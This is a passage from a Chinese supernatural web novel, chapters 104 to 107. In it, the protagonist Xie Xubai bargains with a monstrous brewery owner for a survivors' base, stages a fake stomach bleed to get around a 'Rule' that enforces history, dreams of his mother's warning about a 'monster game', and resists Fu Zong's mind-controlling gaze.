同样也是没过多久,一个“脱胎换骨”的连锁超市正式重新营业。 叮! 提示声响起。 【素材融合完毕,建模渲染完毕,NPC已就位……《佳选超市》副本已生成,随时可以投入试炼!】 叮! 【《希望小学》副本已生成,随时可以投入试炼!】 叮! 【《12号小吃街》副本已生成,随时可以投入试炼!】 叮!叮!叮!…… 【江氏集团、许氏地产公司、傅氏药业、鸿兴酿酒厂、H市食品厂……诸多投资商已投名,即将入驻市内!敬请期待!】 里世界的“兴旺发展”,恰能说明现实世界正处于水深火热之中,毕竟那些NPC都是活人,光天化日,人们成片消失,可想而知外界的情况有多么严峻。 …… 走在路上的谢叙白和裴玉衡同时回头! 身后的道路只有寥寥几个人影,警卫人员不明所以,拘谨警觉地问:“所长,副所长,你们有什么吩咐?” 谢叙白:“没事。” 两人交换眼神。 不是他们的错觉,刚才一瞬间,有什么声音在呼唤他俩。 他们循着那若有若无的呼唤来到仓库,这也是他们正在讨论的话题。 ——虽说满大街都是损坏的商铺,但里面的物资要么有强大怪物看守,要么就是被怪物的血液、分泌物等等污染,冰鲜食品也因为断电问题没有及时储存变质,不能再给人吃。 随着基地救回来的幸存者越来越多,吃喝更成了问题。 前不久基地好不容易组织出人员开垦土地,种子还没来得及播下去,地里就钻出来一只两米长的巨型蚯蚓!多亏谢叙白在场,才没有造成伤亡。 种田这块是行不通了,连动植物也会被污染,谁也不知道会种出来的粮食是能吃的,还是吃人的。 谢叙白两人就势盘点仓库中所剩不多的物资,忍不住叹出一口气,还没开口,那微小的呼唤又萦绕在两人的耳畔。 裴玉衡尝试感悟,皱着眉头不确定地说:“它好像想让我们快点补充物资,去……酒厂?” 谢叙白能更加清晰地感受到这无形之物的渴望。 对方近乎是本能地祈求着物资和人手,还想翻新建筑,想求发展,想这里的人都能吃饱喝足,想扩大地盘,几十万平方都不嫌多…… 谢叙白福如心至:“难道说,你是这里的【规则】?” 第104章 拉投资 彼时的【第一医院规则】刚诞生不久,只是一小团懵懂无形的意识体,尚且不能完整准确地表达自己的意思。 仿佛知道这一群人中谢叙白实力最强,那团意识撒着娇蹭了过来,不停对他念叨“酿酒厂”“食品厂”“想要”之类的词汇,像饥肠辘辘的幼崽在不满足地乞食。 谢叙白见过它未来毁天灭地、固执难惹的模样,难免有些微妙。 一片土地诞生出【规则】,就代表这片土地有了意识。【规则】存在的时间越久,土地的意识越清晰独立。土地愈发繁荣昌盛,【规则】的力量就越强大。 谢叙白忽然神色一动,和它建立起精神链接:【我们可以满足你的要求,但是你需要答应我们一个条件。】 意识体顿住,不太能理解他的话:? 【我们帮了你,所以你日后也要帮我们,这是互助。】谢叙白眼里带着点点笑意,【不明白也没关系。以防万一,我们需要建立契约。】 由于谢叙白全程使用精神力和它交谈,其他人听不见他们的谈话内容,见谢叙白一直背对众人,盯着空荡荡的仓库沉默不语,还以为他在为大量消耗的物资发愁。 当天,谢叙白开始着手调查鸿兴酿酒厂和H市食品厂。 其他副本都是被污染异化后自然生成,唯独这几家企业是作为投资商入驻,它们的区别可见一斑。 谢叙白没有因为设套让傅家人中过招就掉以轻心,也没有因为之前利用未来优势和江氏集团建立过临时合作关系,就冒冒失失上去试探。 他决定先从鸿兴酿酒厂入手。 …… 原本通向这几家企业地址的街道笼罩着一片阴冷的白雾,五米开外,什么都看不清。 继系统提示声响起的那一天,白雾在不知不觉中散去,露出寂静空旷的街道,大白天不见一个活人,连往日肆虐嚣张的怪物也一起销声匿迹。 明明烈日当头,却感受不到一丝热气,反而冷得人浑身打颤。 在这难以言喻的死寂中,一家大型酿酒厂矗立在H市的中心区域,厂区内部是一个个集装箱式整齐排列的楼房。 “鸿兴酒业”白底红字的招牌立于厂子的进出口,赫然醒目。那红色的字体细看竟是在流动,散发着扑鼻的血腥味。 谢叙白站在隐蔽处,遥遥看见厂子门口数十道人影宛如木偶般麻木机械地走动,瞬间打消从正门拜访的想法。 他偷偷潜入,找到几名区间管理员,得知酿酒厂大概会在五天后正式入驻,届时老板才会出现。 该老板表面热情大方,实则极其势利眼又凶狠残暴。 谢叙白陷入沉思,又在酿酒厂转了一圈,收集工人们聊天时的只言片语,对老板的性情大概有了把握。 临走之前,为避免打草惊蛇,他利用精神力暗示,消除几名管理员和自己接触过的记忆。 不知不觉间,谢叙白对驾驭精神力愈发得心应手,A级以下,不出三次就能暗示成功。 回去之后,他半秒也没有耽搁,找到裴玉衡商量找酿酒厂拉投资的准备工作,安排人手亲力亲为地开始干活。 也多亏谢叙白练熟了精神力技能,能第一时间领会交谈者的情绪变化,从而试探出对方的底线和喜恶,无论是套话还是建立交际关系都如同信手拈来。 很快,五天时间过去。 谢叙白早两天打电话递出投名状,得到确切回应后,和裴玉衡准时赶到酿酒厂去见老板。 里世界混沌无序,却又以一种诡谲扭曲的逻辑运转着。 就譬如酿酒厂老板认可“利益到位,五湖四海皆兄弟”,说话做事也是商人本色,无利不往。 幸存者基地诞生出【规则】,在酿酒厂老板的眼里,就比一般区域建筑高出一截,所以他愿意屈尊降贵,给谢叙白两人洽谈的机会。 但如果洽谈结果不满意,或是谢叙白他们有冒犯自己的地方,老板那双冒绿光的眼睛,也毫不掩饰地表露着对撕咬血肉的渴望。 裴玉衡有些紧张,身体肌肉一直绷着。谢叙比面色不改,开口就是一个重磅炸弹。 “我们可以给贵厂提供长期稳定的销售渠道。” 酿酒厂老板上下打量谢叙白。 谢叙白的话一针见血,直接说到他的心坎里。 但他仍旧不以为意,只因在这两名年轻人的身上没有感受到一丝诡力波动。 要么是他们太弱,弱得和人类没什么两样。要么是这两人太强,强到自己看不出他们的实力深浅。 酿酒厂老板倾向于前一个——如果这两人真的有这么强,还至于找自己拉投资赞助?想要什么东西,直接抢过来或者威胁别人“自愿”奉上,多么省事。 所以他对谢叙白的所谓渠道不感兴趣,且打自心底认为对方不知天高地厚,充满轻蔑地抬了抬下巴:“行啊!你们那边要几瓶,开口说。” 要知道酿酒厂每年都能生产上万吨酒水,“几瓶”的说辞明摆着看不起人。 谢叙白笑了笑,像是听不懂深意:“几瓶太少了,这么点蚊子腿的利润别说您看不上眼,我们也不至于特意来这一趟,您不妨大胆再加点。” 见谢叙白宠辱不惊的模样,酿酒厂老板有些意外:“五十瓶。” 谢叙白言简意赅:“少。” “一百瓶?” “还是少。”谢叙白顿了顿,状似体贴地提议,“能理解贵厂初来乍到,原材料供应链还不算稳定……要不我们过段时间再来?” 话里含义:既然你给不出货来,那这次交易就算了吧。 这一说法瞬间抬高了谢叙白他们的身价——他们是为平等的交易而来,而非单纯地求人拉投资。如果酿酒厂这边再不给出点诚意,那他们直接换人。 酿酒厂老板眯了眯眼睛。 谢叙白很好地把控住他的一个心态,那就是受不得激。特别开口刺激他的人,在他眼里孱弱无比。 前面就说过,里世界混乱无序,没有礼仪道德。 被谢叙白激起怒火之后,酿酒厂老板当场怪异尖锐地笑起来,眼里浮现出猩红血色:“哈,你们是个什么货色,竟然也敢——” 话没说完。 谢叙白刚要动用精神力,忽然鼻梁上的金丝眼镜往后延长,暧昧地捏了捏他的后颈,朝欲要发难的酿酒厂老板精准释放威压。 那威压似百米海啸浩荡压身,老板的脸色唰一下惨白,笑容像凝固在脸上。 扑通一声。 他腿一软跌回沙发,惊疑不定地盯着谢叙白,仿佛在看什么洪水猛兽,好半天才哆哆嗦嗦找回自己的声音:“你,你怎么会是■?!” 第105章 胃出血(伪) 最后一段音节像被什么力量抹去,谢叙白无法听清酿酒厂老板说的话,耳畔只留嗡的一道杂音。 金丝眼镜的突然出手在他的预料之外。他怔愣的这两秒间,眼镜腿化成的触手又变本加厉地抚过他的耳垂,揉捏两下。 力道不轻不重,留下一片清晰的气息,湿冷、滑腻,刺激着谢叙白敏感的神经。 谢叙白的眉头狠狠一跳,抬头对上酿酒厂老板惊慌失措的目光,淡然自若地笑了笑:“我让你想起什么可怕的事情来了吗?” 他做事习惯了亲力亲为,但要是有现成的靠山在,他也不介意狐假虎威一把。 宴朔有能力引导他成神,实力如何必不用说。谢叙白不奇怪金丝眼镜能将老板吓成这样,只是老板的表现有点耐人寻味,似乎知道宴朔更深层次的身份。 被谢叙白似笑非笑的眼睛注视着,老板额头上渗出豆大的冷汗,话都说不利索了:“您您您这就是说笑了,要是早说出您的身份,我又怎么会……招待不周,招待不周!” 他边说着话,边火急火燎地烧水泡茶,要是厂里的员工看见他这副卑躬屈膝的模样,保准惊掉下巴。 裴玉衡在旁边看得满脑子雾水,但也知道现在不是询问的好时机,全程保持安静。 谢叙白干脆借势敲定交易的内容。 他的准备工作没白做,虽说联系不上大商家,但整合了这几个月以来所有中小型商超和酒吧。别看单个小超市要的不多,零零总总加起来竟然能消化掉酿酒厂百分之六十的订单,这数量可是真不小! 关键在于,谢叙白竟能打通这么多渠道,把这么多人联系在一起。 老板本就慑于对方的身份,心惊胆战,不敢忤逆,没想到这一次合作谈下来,他们竟然有利可赚,瞬间喜上眉梢,连连叫好。 谢叙白事先来这厂子探查过,以防万一,还需要提前得到保证:“听说有的无良商家喜欢拿人血酿酒,以次充好,我相信老板的人品,你的的厂子一定不会存在这样的问题。” 老板听得有些傻眼。在怪物看来,人血人肉都是极好的原材料,怎么反过来说是以次充好?也就是他为了节省成本才没用。 但他不会傻到当场反驳谢叙白,只在心里嘀咕两句,怀疑谢叙白或许是对人类有偏见或偏爱。 鸿兴酿酒厂和幸存者基地的交易就这么拍板定案。 为了招待谢叙白两人,酿酒厂老板还大操大办主持了一场隆重的酒局。 烟酒作为暴利行业,没点路子铺展不开,是以老板叫过来的都是些有头有脸的人物。 谢叙白没有放过这顶好的机遇,趁机给基地扩张人脉,致力于将他们拉入伙,后面好兴建第一医院。 其他老板事先得到过酿酒厂老板的耳提面令,虽没有明说谢叙白是谁,但那郑重其事的模样,足够让他们心里打鼓,恭敬待人。 两方人都觉得自己能和对方搭上关系是占了大便宜,一场酒局下来,喝得是宾主尽欢。 就是喝酒环节发生了一点小插曲。 源于谢叙白看起来就是个好好学生的模样。 而老父亲的忍耐力,只坚持到看见谢叙白喝下一口白酒便宣布告罄,其他敬酒全被他挡了过去。 谢叙白想拦,还没来得及劝,只是刚有这一念头,就突然感知到【规则】的告诫。 不是如今懵懵懂懂还没彻底成形的意识体,是远在十年后的【规则】。 【规则】说:请遵循设定。 裴玉衡会在酒局上喝到胃出血,是原有的设定,它构成了后世李医师等人认知中的裴玉衡。 干涉历史只有两个结果,一是历史痕迹无法自洽,引发不可控的蝴蝶效应。 二是历史自行修补,即所有的悲剧都会延后到谢叙白离开这个时代,无人可以帮助裴玉衡的节点,照常发生。 听完【规则】的解释,谢叙白嘴角的弧度霎时间淡了许多。 事后回到基地的裴玉衡,抱着马桶吐了个昏天黑地。 谢叙白接了杯热水,等他稍微缓和一点后递过去让人涮涮口。 裴玉衡有点尴尬:“我才喝了几杯,怎么就成这样了?” 准确来说是五杯,要喝第六杯的时候谢叙白看出裴玉衡的“外强中干”,暗自使用精神力让其无法下咽。 但对滴酒不沾的人来说,五杯白酒已经算得上海量,更别提他们坐车回来的时候,谢叙白一直说外面冷怕吹感冒了不让开窗,把裴玉衡闷得胃里一阵翻江倒海,好悬直接吐车里。 谢叙白让裴玉衡坚持下车再吐,裴玉衡不想当众出丑,愣是挺到最近一个建筑的卫生间,正好就是实验楼。 两人说着话,裴玉衡想从地上起来,毕竟抱着马桶的样子实在不好看。 谢叙白却按住他,同时仔细聆听外面的脚步声,等到嘈杂的人声逐渐靠近,忽然拿出一个试剂管,把里面的血倒进马桶里。 他们如今睁眼闭眼都是采样,身上带有装血的试剂管不稀奇。 裴玉衡还没反应过来,又见谢叙白用手指沾了沾管口的血,涂抹在他的嘴角。 “不是污染物的血,放心。”说完这句话,谢叙白忽然扑上来,大惊失色地搀扶住裴玉衡的身体,“所长!你怎么了所长!你怎么吐血了?” 裴玉衡:“??” 他满脸“你又在装什么怪”,就见李医生等人冲进卫生间,看着滴落在马桶边缘还有他嘴角的殷红血渍。 震惊、恍惚、痛心疾首,继而感动得热泪盈眶。 “快去找医生!拿治胃病的药!”“这是胃出血吗?好大的酒气,你们喝酒了?”“所长你怎么样?”…… “所长,副所长,你们真的……”预先就知道谢叙白两人要去拉投资,并从中脑补出诸多刁难和辛酸的李医生满眼悲痛,紧紧攥住裴玉衡的手,“辛苦你们了!” 裴玉衡:“????” 【规则】在二十多年后目睹这戏剧化的一幕,也是一片静默。 若是它能做出人的表情,必定满脑门挂满黑线。 动静越来越大,不大的卫生间逐渐挤满人,裴玉衡一脸懵地被众人扶去检查,谢叙白跟随在后。 谢叙白一直静等着【规则】的阻止,见对方没有任何表示,嘴角往上轻挑。 他知道自己成功抓住了【规则】的漏洞。 ——如果【规则】所认定的历史,仅基于人的认知谱写,那么谁能说伪造出来的历史不算历史? 这一次拉投资算是无惊无险地平安度过,胃确实有点不舒服的裴玉衡也得到了医疗部的全套护理,谢叙白在背后深藏功与名。 当天晚上,他做了一个梦。 梦中是实实在在把自己喝到胃出血的裴玉衡,脸色苍白病态,眼下一圈青黑,他冲着洗漱台不断呕吐,直到秽物沾满白净的手背,呛咳出猩红血点。 裴玉衡吐完后抬头盯着镜子,镜子中倒映出一张瘦到脱相的脸,他看着看着,突然毫无征兆地低笑出声,笑声越来越大,越来越癫狂,属于怪物的青黑色瘢痕缓慢爬上他手背,像是要将他吞没。 谢叙白心脏一抽,下意识蹿出去:“不要!” 可再一秒,裴玉衡蓦地转过头,无可奈何地瞪着他。 狼狈站在镜子前的裴玉衡消失了,取而代之的是一个面色红润的裴玉衡,在医疗部的强烈要求下,只能坐在病床上接受检查。 裴玉衡再三表态:“我没事,真的没事,只是有点不舒服而已。” 医生一通检查下来,估摸情况是不至于吐血,但看见裴玉衡这副不把身体当回事的模样就一阵痛心,吹胡子瞪眼地反驳道:“您都吐血了,怎么会没事!” 裴玉衡:“……”有口难言的苦谁知道? 他又忍不住瞪了一眼站在旁边的罪魁祸首。 谢叙白的脑海印象还停留在裴玉衡失控异化的一幕,恍惚完,嘴角抽搐,不着痕迹地目移。 虽说裴玉衡心里感到莫名其妙,但最后也没忍心拆谢叙白的台,将错就错地让护士给他挂上点滴。当然医生不会乱开药,里面是葡萄糖。 “你也该睡了。”裴玉衡催促谢叙白。 刚“捉弄”完老父亲的谢叙白自然要装乖,他也累了,索性坐在旁边的椅子上。 迷迷糊糊中,他感觉到裴玉衡的手伸了过来,在自己的脑袋上轻揉。 那张俊逸脱尘的脸垂睫时绽放出柔和的笑意,如冰山消融,扬起弧度的嘴角在灯光下反射出一阵朦胧的光晕。 琼枝玉树,如圭如璋。 幸好没被玷污。 谢叙白真正放宽了心,意识越来越沉。 他仍旧能感受到脑袋上的揉动,力道逐渐变轻、变轻……男性突出的指节忽地柔软许多,手掌也变得愈发娇小,不能框住他的脑袋,只在鬓角轻抚。 那人开口是温婉的女声,饱含着慈祥的爱意,不吝夸赞:【宝宝,你做得真棒。】 【还记得我们经常玩的怪物游戏吗?】女人仿佛预言般轻声宣告,【现在怪物要来了。】 第106章 怪物来了 谢叙白被困意袭扰的脑子有些迟钝。 女人揉着他的脑袋,一下又一下,眼神在朦胧的光影中若隐若现,仿佛隔着遥远的时光映照在他的身上。 瘦削平凡的脸庞,沉淀着诸多沧桑的眼睛,望向他时柔和地弯起……一张似曾相识的脸逐渐变得清晰。 谢叙白猛然一顿,瞳孔一寸寸睁大,脑子还没反应过来,手已经用力地伸了出去。 这个过程中他的手忽然变得非常小,小得像是六、七岁孩子的手,稚嫩无力。 房间里的摆设忽然拔高,连饭桌都比他高出半个脑袋,眼前的床铺更是直接顶到胸口。需要他垫着脚尖,上半身往前扑,才能勉强拽住女人的手臂。 女人娇小的身体也变大了,伸出手能掌住他整个脑袋,但那只大手比他还无力,冰冷干瘦,沉甸甸地往下坠。 谢叙白脑子嗡的一声,一片空白。 他猝然意识到什么,不断揉搓女人的手掌,试图将自己的体温传递过去,竭力恳求女人不要闭眼,整个屋子都是小孩的哭喊声。 女人艰难地伸手擦掉他的眼泪,苍白的嘴唇一张一合,似乎在告诫什么,嘱咐什么。虚疲的话挤在一起,变成嗡嗡的杂音。 ……灵魂有重量……死亡不是终点……妈妈会变成星星。 ……怪物要来了……保持…… 下一秒,谢叙白被女人大力推向门口,他踉跄两步,仓惶地往后看,却看见让自己肝胆俱裂的一幕。 女人半撑起身体,猩红的血线如同蛛网般爬上她的脸颊,切开皮肤和血肉。 那双眼睛不掩担忧地看着他,却在下一秒掉出眼眶,整张脸都破碎了,森森白骨裸露在外,留下两个黑漆漆淌着血泪的眼窟窿。 “啊啊啊啊啊——” 谢叙白目眦欲裂,不受控制地朝女人冲过去。 紧跟着大地不稳摇晃,地面变成深不见底的黑洞。黑洞中伸出无数双扭曲的利爪,扒住他的手脚和身体,将他用力往下拽。 谢叙白拼命挣扎,胳膊被利爪撕扯,鲜血淋漓。 狰狞的利爪一只只压上来,覆盖住他的身体,蒙住他的眼睛,重重叠叠,像囚笼将他困在其中,难以承受的重量压着他不能抬头。 他透过最后一丝缝隙竭尽全力地往外看,牙龈咬出血,却再也看不见熟悉的脸庞、熟悉的景物,只能看见密不透风的白雾,几乎要将他淹没。 谢叙白几欲窒息。 忽然间,他身体一轻,拖拽他的爪子被搅成碎片。几根粗壮的触手将他往回一卷,如同屏障护在身前,他身体后仰,靠上一个结实的胸膛。 空气变得潮湿黏腻起来,鼻腔萦绕着咸腥苦涩的海水气息。 两只有力的臂膀抱住他颤抖不停的身体,又摊开宽厚手掌,遮住他的眼睛。 是一个男人的手掌,掌心布满硬茧,传出一片滚烫的热意。 …… 谢叙白唰的一下睁开眼,额上大汗淋漓,撑起身惊疑不定地望向周遭。 床边纱帘随风吹拂,桌上摆着两三盆绿植,没有人影,安静得针落可闻。 梦中谢语春变成白骨架子的一幕带给谢叙白的冲击太大,好半天,他才认出这是自己的宿舍。 昨天晚上他陪护在裴玉衡的身边,不知道是谁把他送了回来。 谢叙白用力按揉额头,动一动,有什么东西拉扯着他,低头一看,只见黑色眼镜腿像蛇一样,紧紧地在他的身上缠绕了好几圈。 谢叙白:“……” 他嘴角抽搐两下,怀疑这就是自己会梦到触手的原因。 叹口气,谢叙白将眼镜腿小心掰开,谁想到指尖刚碰上,一张拧干的湿毛巾就出现了在他的眼前,晃了又晃。 谢叙白抬起头,对上两片反光的透明眼镜片,好似被男人深邃的眼睛凝视。 “……谢谢。”谢叙白将毛巾接在手里,发现上面还冒着热气。 往脸上一擦,冰冷的空气被驱散,整张脸包裹在暖烘烘的热意里,噩梦带来的最后一丝心悸和惊惶也随之淡化。 这份体贴在谢叙白的意料之外,毕竟宴朔不像是个会伺候人的主。他似是不经意地问:“我们以前是不是见过面?” 金丝眼镜摇摇镜片。 谢叙白见它没有直接否认,就知道这是不确定的意思。他陷入沉思,竭力搜刮脑海,可惜记忆有误的脑子给不出半点答案。 全程,金丝眼镜都保持着自己缄默寡言的高冷形象。 如果不是谢叙白放下毛巾后,两根眼镜腿立马孜孜不倦地挠上了他的掌心,他还真会被这副正人君子的模样忽悠过去。 鬼使神差的,谢叙白也没将它扯开。 分身不知道答案,或许正主知道。 然而宴朔在二十年后,他环顾四周,四处找不到小黑章鱼的身影。 算算时间,似乎自从他变小和裴玉衡交心后,小黑章鱼就消失了。 往日小章鱼也会时不时出去透透风,凭它的实力,能在整个城南新区来去自如,谢叙白比较放心。加上那几天他忙忙碌碌,便没把这事放在心上。 如今结合梦境,谢叙白终于意识到奇怪。 他和宴朔关系不亲,更别提对人产生依赖,不存在日有所思夜有所梦。会梦到宴朔,更像是过往片段的投射,也就是说他小时候大可能认识宴朔。 再看小黑章鱼的突然离去,会不会是小时候的他做了些什么才会促使对方离开?但即便他们真的认识,谢叙白也想不出萝卜头大小的孩子,能有什么本事刺激到一位高深莫测的神祇。 谢叙白问:“你知道这个时间的本体为什么离开吗?” 他算是问对了眼镜。 只见金丝眼镜屈起一根眼镜腿,蜷在一起融化变形,化作小黑章鱼的大概形貌,又伸出另一根眼镜腿,变成小孩的模样。 再然后,小孩低下脑袋,去亲章鱼的额头。 快要亲上的时候,金丝眼镜猛然一停。 它后知后觉地感受到不公平,凭什么它和成年后的谢叙白牵个小手需要软磨硬泡,小叙白却会主动去亲过去的本体? 这一嫉妒,亲上去的一幕没能展现完整。金丝眼镜完美代入当时的恼怒,操纵小孩化身,恶狠狠地抡了小黑章鱼的化身一拳头。 嘭的一下,章鱼脑袋都砸歪了。 谢叙白:“…………” 他瞳孔震颤。 不应该吧,什么仇什么怨小时候的自己会见面就给宴朔一拳?他们之前的关系有这么差劲?所以宴朔是憋着气才无声出走的吗? 以防自己理解有误,谢叙白牙疼地问:“我真做了这种事?” 金丝眼镜挥舞触手,愤愤不平。 谢叙白恍恍惚惚。 面对金丝眼镜的控诉,他不由得有些心虚,眼神飘忽:“不然,我让你打回来?” 金丝眼镜有点奇怪为什么青年让自己打他,但不妨碍它感受到对方的软化,见缝插针地凑上去索吻。 【不,你只需要亲我一下,我就能消气。】 谢叙白一哽。 他对上两枚透明无色的眼镜片,硬生生从中看出殷切期盼的神情。不由得想起那一天晚上,他盯着递到眼前的粉白色小花,瞳孔轻颤,忘了反应。 莫名其妙的,他意识到宴朔或许不止想要将他拐上床,又觉得这个猜想多少有点不自量力。分身遵循原始的欲望,能代替本体的意志吗?谢叙白说不清。 谢叙白沉默不语,金丝眼镜也没气馁,主动戴在青年的脸上,安安静静地充作一副正常的眼镜。 金丝眼镜不动了,但那道轻微的重量实实在在地压在鼻梁,无时无刻不在彰显自己的存在感。 谢叙白忽然觉得自己有些卑劣。 眼镜对他的无数次纵容,侧面佐证宴朔并不是一生气就会撕人的残暴怪物。 或许他应该找个机会把眼镜还给对方,明确地表示拒绝,而不是像现在这样,理所当然地接受着男人给出的好处,却给不出半点回应。 但是他…… 谢叙白想起之前进入宴朔的意识海,男人立于漫天雷霆之下,衣摆在狂风下翻飞,而他佁然不动。 猩红血瞳比任何怪物都要瑰丽纯粹,毫无波澜地自高空投下一眼,似能穿透一切壁障,桀骜孤高,睥睨世间。 难以形容的滋味从舌根蔓延开,谢叙白深深地吐出一口气,摈弃那些乱七八糟的念头,拧着眉头陷入沉思。 ——怪物游戏。 醒来之后,梦里的很多细节都变得有些模糊,唯独谢语春提到的这个词,谢叙白记得很清楚。 是妈妈给他托梦,还是危机意识的自我预警?如果是前者,为什么不出面相见? 谢叙白掐着手指,没有在这件事情上纠结太久,专注回想怪物游戏的内容。因为记忆有问题,他没怎么抱希望,少顷,还真想起了一点东西。 事情源于他一个人留在家里无聊,又或许是别的原因,某一天开始,谢语春忽然买回来许多怪物玩具,每个怪物都有自己的特性和弱点,有的哭声能穿透耳膜,有的会化为液体。 那些玩具格外费精力,谢叙白经常容易犯困,有时候玩上五分钟,能昏睡整整一下午。 后面谢语春意识到这一问题,会用指尖轻点他的眉心,然后他就没那么困了。 谢叙白现在回顾过去的自己,发现很多曾经不以为意的事情,都透着诡谲的色彩。 首先什么玩具会抽干小孩子的精力?谢叙白严重怀疑那些根本不是玩具。 而当他昏迷过一次后,谢语春经常放在嘴边的话是—— “快去看看,基地门口好像有人来了!穿着制服,是联盟政局的人!”“难道是救援部队到了?走走走,快快快!”…… 听到楼下的喧哗声,谢叙白一惊,连忙换好衣服朝基地门口赶。 门口黑压压的全是人,把道路堵得水泄不通,不知道爆发出什么争执,传出李医生愤怒的大吼:“我去你X的!前面断水断粮的时候不见任何支援,现在给我们说要空降一个负责人,你告诉我他凭什么?!” 穿制服的人上前拦住面红耳赤的李医生,不断劝解:“这位先生,是李先生吧?你冷静一点,现在情况不容乐观,别冲动!你知不知道外面已经有三个区县变成高污染区,如果不是傅氏集团……李先生!不是空降负责人,傅家只是派出医疗团队来支援我们,没有别的想法!” 旁边白衣服的傅氏研究人员淡淡地搭腔:“没错,一切都是为了救助人民。” 他身后的人随即看向李医生背后的基地,虽然什么话都没说,但那轻蔑的眼神透露出浓郁的讽刺意味,好像在说:就这么个东拼西凑的烂地方,至于这么紧张吗? 李医生攥紧拳头直接往上抡,被穿制服的拦了下来,但后者明显低估基地众人的团结度,瞬间人潮涌上,往傅氏员工的身上暗搓搓地踹了好几脚! 笑话,在里世界拼死拼活这么多天,真当他们是吃素的吗。 傅氏员工痛得吱哇乱叫,完全没想到这些幸存者竟然这么混不吝,当着联盟政局执行人员的面就敢上来打人。 眼见将要闹出乱子,执行人员头皮发麻,将手按在腰间的配枪上。 神奇的是,枪还没拔出来,众人就整齐划一地保持了安静,默契地往后退一大步,满脸无辜地看着他们:“行行行,冷静,我们都冷静一点。” 傅氏集团的人见状,哪能不明白他们刚才那几脚几拳头都是故意的,根本不是冲动上头,立时恨得直咬牙:“我们走!就让这些疯子在这里等死!” 几名执行人员一听,哪里肯干,忙不迭地追上去,好言好语安抚这些人,又转头怒目而视:“到底闹够了没有!?” “外面的形势很恶劣,不是给你们开玩笑,你们知不知道千辛万苦抵达这里要冒着多大的风险?”他快速地换上一口气,直指李医生,“李先生,上一个救援小队全部阵亡……死在跨越空间的中途!要不是长官临死的嘱托,我们也不会赶过来——” “他们出事了?因为什么?”裴玉衡大跨步现身。 “因为目前找到的出入办法会对人体造成极大的负担,无法承受两次跨越,要么只进不出,要么只出不进,这事也是救援部队全军覆没后才发现的……加上每次跨越都要付出极大的代价,大家……都已经有些灰心丧气了。” 执行人员抹了把脸,往后指向傅氏医疗集团的人,痛心疾首:“他们明知道不能再出去,却还是奋不顾身地跟着我们进来援助大家。结果你们一上来就不分青红皂白地大骂,还动手动脚,是想让别人寒心吗?” 众人万万没想到还有这么个内情,包括李医生在内,瞬间羞愧地低下了脑袋。 唯独知晓傅氏集团犯下的那些龌龊事的裴玉衡皱了皱眉头,意外且不解。 他刚想说点什么,冷不丁傅氏员工的身后传出一道咳嗽声,似乎有些虚弱,压着嗓子道:“长官,你就直接告诉他们吧。” 执行人员转过头,瞬间紧张地往前走,扶住那人的身体:“傅少爷?你还好吗?” “我没事。在外面就不要叫我少爷了,这里只有为国为民的志愿者,大家都一样。” 那人笑了笑,正是傅倧,歉意十足地说道:“不好意思,刚才跨越空间的时候突然提不上气,一直在车上休息,没有第一时间出来见大家。如果我们的人有什么得罪的地方,我给大家赔不是。” 他说着话,又狠狠地咳嗽几声,执行人员大气不敢出一下,看态度就知道心完全偏向了傅倧。 至于其他人,在明知道傅倧等人是冒着生命危险救援的前提下,哪里能指责得出口。 对上裴玉衡瞬间冷下去的眼神,傅倧摇了摇头,状似无奈地看着执行人员,继续道:“瞒不下去的,提前说明,也好让大家心里有个底,意识到事情的严重性。” 执行人员没辙,回头看向基地众人,终是沉重地开了口:“就在几天前,上面已经决定了,如果一个星期内无法抑制住污染,上面将实施非常手段……火力肃清。” “联盟总部直接下达的通知,委托通讯官现场通知到各部门,确保万无一失,届时城南新区连带着周边五个区县都会化为灰烬。”傅倧补充了一句,笑盈盈地看向裴玉衡,“即使这样,你也要因为个人恩怨,将我们拒之门外吗?” 和傅倧对上眼的那一刻,裴玉衡心神俱震。 周围的人语气态度都已经变了,特别是傅倧说傅氏集团已经研究出初代疫苗之后,人群呼吸声加重,此起彼伏,肉眼可见的动容。 “所长……”“所长!”“他们说有疫苗,会不会是真的?”…… 被众人殷切的目光注视着,裴玉衡感受到难以言喻的压力。 他的状态不对劲,在和傅倧对视的那一刻起,思绪忽然变得非常乱,困意如潮水扑面而来,摧残着他脆弱的神经。 此时此刻,裴玉衡脑子里只反复回响着一个念头,他要当众作出准确且适合的回应,不能昏过去,一定不能昏过去!不然傅倧很有可能以他身体不适借题发挥。 下一秒,傅倧走了过来。他的脚步没什么声音,却宛如重锤敲击在裴玉衡的心头,一步步击溃他摇摇欲坠的神智。 啪的一声。 一只手撑在裴玉衡的后背,金光鱼贯而入,将他满脑子浑浑噩噩拍散。 “……裴余!不能看他的眼睛!”反应过来的裴玉衡连忙喊道。 他说晚了,谢叙白箭步挡在两人之间,不可避免地和傅倧对上了眼。 那一瞬间,他精准地捕捉到从傅倧眼底掠过的一抹猩红血色,犹如暴风过境,谢叙白瞳孔一缩,思维陷入前所未有的混乱。 谢语春郑重其事的叮嘱回响耳畔。 ……怪物要来了……保持清醒…… 谢叙白猛然间掐住手指,精神力汇聚在指尖,手掌扶住眉心。 再抬头时,他的眼底一片清明,傅倧含笑的表情顿时凝固在当场。 第107章 疫苗 傅倧像是完全没想到半路上会杀出来个程咬金,满眼惊愕地瞪着他。目视他陌生的视线,谢叙白忽然有股说不清的怪异。 “……”傅倧收拾完表情,皱了下眉头,“又是你。” 从傅倧身上传来一股如临大敌的精神波动,似乎没有什么问题。 恰是这时,背后的执行人员听到声音,以为他们又起了冲突,连忙叫嚷着快步赶来,额头青筋突突跳,满脸不耐烦:“怎么又吵?啊?不是说了吗……” 谢叙白视线瞥过去,金光隐匿身形,绕后铺洒在执行人员的身上。 像变魔术一样,那人心烦意乱的表情突然大变,有些怔愣地环顾众人,声音都结巴了一下:“呃,我们有话好好说?别为一点小事伤了和气。” 看着好言好语的执行人员,傅倧刚拾掇好的表情又如同打翻了颜料盘,变化不断,五彩缤纷。 他骤然移开目光,将矛头指向裴玉衡,试图再一次迷惑对方的心智。 裴玉衡心里一咯噔,连忙转开脸,谢叙白冷不丁抬起手,将某个东西往他脸上一戴。他的视野昏暗下去,依稀能看清傅倧的脸。 压力似乎消失了。裴玉衡讶异地摸过去:“这是什么?” “太阳眼镜。”谢叙白道,“现在世道乱,下次出门在外记得戴上护目镜,别被恶心的东西伤到眼。” 众人:“……”感觉是意有所指,不确定,再听听。 裴玉衡若有所思地将他的话听进去,嗯了一声。 傅倧的脸色精彩无比,但比起愤怒,他眼里更多的是警惕,谢叙白甚至从他的脸上品出一丝惧意。 这更是奇怪。 